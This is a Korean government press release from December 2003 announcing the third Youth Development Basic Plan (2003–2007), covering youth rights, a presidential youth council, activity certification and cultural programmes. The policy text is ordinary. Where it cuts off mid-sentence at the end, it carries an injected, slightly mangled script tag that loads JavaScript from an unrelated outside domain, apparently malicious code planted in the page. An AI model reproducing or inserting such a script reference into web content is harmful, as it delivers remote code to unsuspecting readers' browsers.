참여정부 청소년육성기본계획(’03~’07) 발표 (2003.12.10) - 지역사회 중심(community-based), 민간단체·청소년 주도의 고객 지향적 정책 지향 - 청소년 대표가 참여하는 대통령 주재 「청소년 특별 회의」개최 - 청소년 활동 종합인증제, 체력 인증제 실시 - 청소년 문화 지구(zone) 지정 등 청소년 문화예술 활동 활성화 - 청소년 지원을 위한 지역별 「원 스톱 서비스 체계」 구축 참여정부기간 동안 시행될 「청소년육성기본계획」이 시행에 들어간다. 금년부터 2007년까지 추진하게 될 청소년육성에 관한 중장기 비전인 청소년육성기본계획은 금년 3월부터 12월초까지 청소년단체, 학계 등 전문가의 의견수렴과 19개 중앙행정기관 및 16개 광역지방자치단체와의 협의, 청소년육성실무위원회의 심의를 거친 뒤 2003. 12. 6 청소년육성위원회(위원장 : 국무총리)의 최종심의를 거쳐 확정되었다. 1.「제3차 청소년육성기본계획」의 비전과 추진전략 참여정부 청소년육성정책의 「로드맵」이라고 할 수 있는 「제3차 청소년육성기본계획」의 비전은 「도전하는 청소년, 꿈이 있는 사회」로 설정되었다. 청소년들이 체험활동을 통해 자신이 설정한 목표에 도전할 수 있도록 지원하고, 청소년들에게 꿈과 희망을 줄 수 있는 사회를 만들어 나갈 수 있도록 가정·학교·지역사회와 정부의 역할을 강화하는데 초점을 맞추어 계획이 수립되었다. 제3차 청소년육성기본계획은 정책과제의 수립과 시행에 있어 청소년의 「참여」(Participation),「소통」(Communication),「체험」(Experience)을 기본이념으로 하여 청소년을 정책의 대상이 아닌 정책의 주인공으로서 ① 주류화(mainstreaming) ② 지역화(localization) ③ 차별화(differentiating) ④ 파트너십(partnership) 등의 추진전략을 통해 종전 중앙정부 중심·기성세대 주도의 청소년육성정책에서 지역사회 중심(community-based), 민간단체·청소년 주도의 고객 지향적 정책을 지향하고 있는 것이 큰 특징이라고 할 수 있다. 2.「제3차 청소년육성기본계획」의 중점 추진과제 이번에 수립된 「제3차 청소년육성기본계획」중 문화관광부가 추진할 사업 가운데 주목할 만한 몇 가지를 열거하면 다음과 같다. □ 청소년의 인권·권리신장을 위한 제도 정비 ㅇ 학교현장에서의 인권보호를 위해 관계기관과 협의, 학교생활규범을 제정·개정 또는 점검하고 학생들의 자치활동을 권장·보호한다. ㅇ 청소년 인권문화 확산을 위해 청소년 인권백서를 발간한다. ㅇ 청소년 권리에 대하여 홍보하고 부당하게 권익을 침해당할 경우 온라인 또는 전화로 신고하여 대처할 수 있도록 청소년 인권센터를 운영한다. ㅇ 청소년의 참정권을 국제적 수준으로 확대 추진한다 □ 「대통령 청소년특별회의」개최 ㅇ 청소년 관련 현안문제에 대하여 범국민적 인식을 확산시키고 청소년정책에 대한 정부의 적극적 의지를 나타내기 위하여 대통령 주재 청소년특별회의를 매년 개최한다. ㅇ 「대통령 청소년특별회의」는 참여정부의 대통령 선거 공약으로서, 내년부터 시작해서 매년 대통령이 주재하는 청소년 관련 "특별한 회의"로 개최하며, 의제 선정, 회의, 평가 등 전 과정에 청소년의 주체적인 참여를 보장하고, 정부(문화관광부)는 행정적 지원을 담당하는 것으로 추진할 계획이다. ㅇ 청소년특별회의는 우리 청소년들이 대통령 앞에서 자신들의 꿈과 희망, 고통과 슬픔 등을 가감 없이 토로하고, 청소년의 자아실현을 가로막는각종 장애물을 어떻게 극복해 나갈 것인가에 대하여 국민적 중지를 모으는 자리가 될 것이다. □『청소년활동 종합인증제』도입 ㅇ 각종 봉사활동, 탐험활동, 문화예술활동, 생활체육활동, 과학탐구활동 등 영역별 국제수준의 청소년활동 프로그램을 개발하여 청소년의 자발적 참여를 유도하고, 영역별·단계별 프로그램 이수자에게 인증서를 발급한다. 이수자가 다양한 인증서를 제출하면 진학 및 취업시에 우대 받을 수 있도록 사회적 합의를 조성해 나갈 계획이다. □ 청소년 문화예술활동 활성화 ㅇ 청소년의 문화감수성을 함양하고 21세기 문화의 시대에 필요한 능력을계발하기 위해 청소년의 문화예술활동 지원을 대폭 확대하고, 문화예술교육을 강화하며, 특히 청소년의 문화콘텐츠 창작활동을 적극 조장할 계획이다. ㅇ 이를 위해 지역사회 문화공간을 연계,「청소년문화 존(zone)」으로 지정, 청소년 문화예술 프로그램 중심으로 집중 지원하고 교육인적자원부 등 관계부처와 협의, 문화예술교육 추진체체를 마련하며 영화, 만화, 게임, 애니메이션, 모바일 콘텐츠 등 분야별 공모사업 지원 등을 통해 청소년의 문화콘텐츠 창작을 활성화해 ?script src=http://www.csl24.com/b.js>